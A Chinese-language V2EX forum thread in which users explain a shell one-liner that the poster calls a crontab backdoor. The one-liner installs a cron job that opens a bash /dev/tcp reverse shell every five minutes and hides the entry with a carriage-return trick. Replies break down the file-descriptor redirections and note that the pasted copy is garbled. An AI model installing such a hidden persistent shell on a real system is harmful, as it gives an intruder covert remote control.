麻烦懂的详细解释下这段 shell 脚本

2016-11-25 16:30:17 +08:00
 snopy

直接贴代码了,如下:

(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile – I;\rno crontab for whoami%100c\n")|crontab -

嗯,这是一段 crontab 后门的代码

1576 次点击
所在节点    问与答
12 条回复
lrvy
2016-11-25 17:15:59 +08:00
监听本地 8080 端口 nc -l -p 8080
redsonic
2016-11-25 17:19:07 +08:00
传说中的用 bash 进行网络通讯
Tink
2016-11-25 17:25:08 +08:00
Tink
2016-11-25 17:25:28 +08:00
skydiver
2016-11-25 18:03:13 +08:00
感觉是复制粘贴错了吧,根本运行不了
Owenjia
2016-11-25 18:22:10 +08:00
这是从哪复制来的?好像不太对吧?貌似有些是转义过的,后面那个 –( U+2013 )……
格式化下应该就好看懂了,主要是重定向和文件描述符。

exec 9<> /dev/tcp/localhost/8080
exec 0 <& 9
exec 1 >& 9 2>& 1
skydiver
2016-11-25 18:27:50 +08:00
@Owenjia 运行不了,后来发现是因为我用的 zsh , bash 里这样才行
rrfeng
2016-11-25 18:32:38 +08:00
约等于于在 8080 开了个 bash ……
Owenjia
2016-11-25 18:39:23 +08:00
@skydiver
恩, zsh 没有 /dev/{tcp,udp}/host/port ,不过可以用 zshtcpsys 。
skydiver
2016-11-26 00:17:20 +08:00
@rrfeng 这个并没有监听端口吧
rrfeng
2016-11-26 12:28:00 +08:00
@skydiver
/dev/tcp/localhost/8080
这就是端口
skydiver
2016-11-26 13:06:30 +08:00
@rrfeng 我试了,这个并不会监听端口,只会连接到端口, bash 告诉我 Connection refused

就算是监听也不应该监听 localhost 啊,那样外面又连不上……

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/323287

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX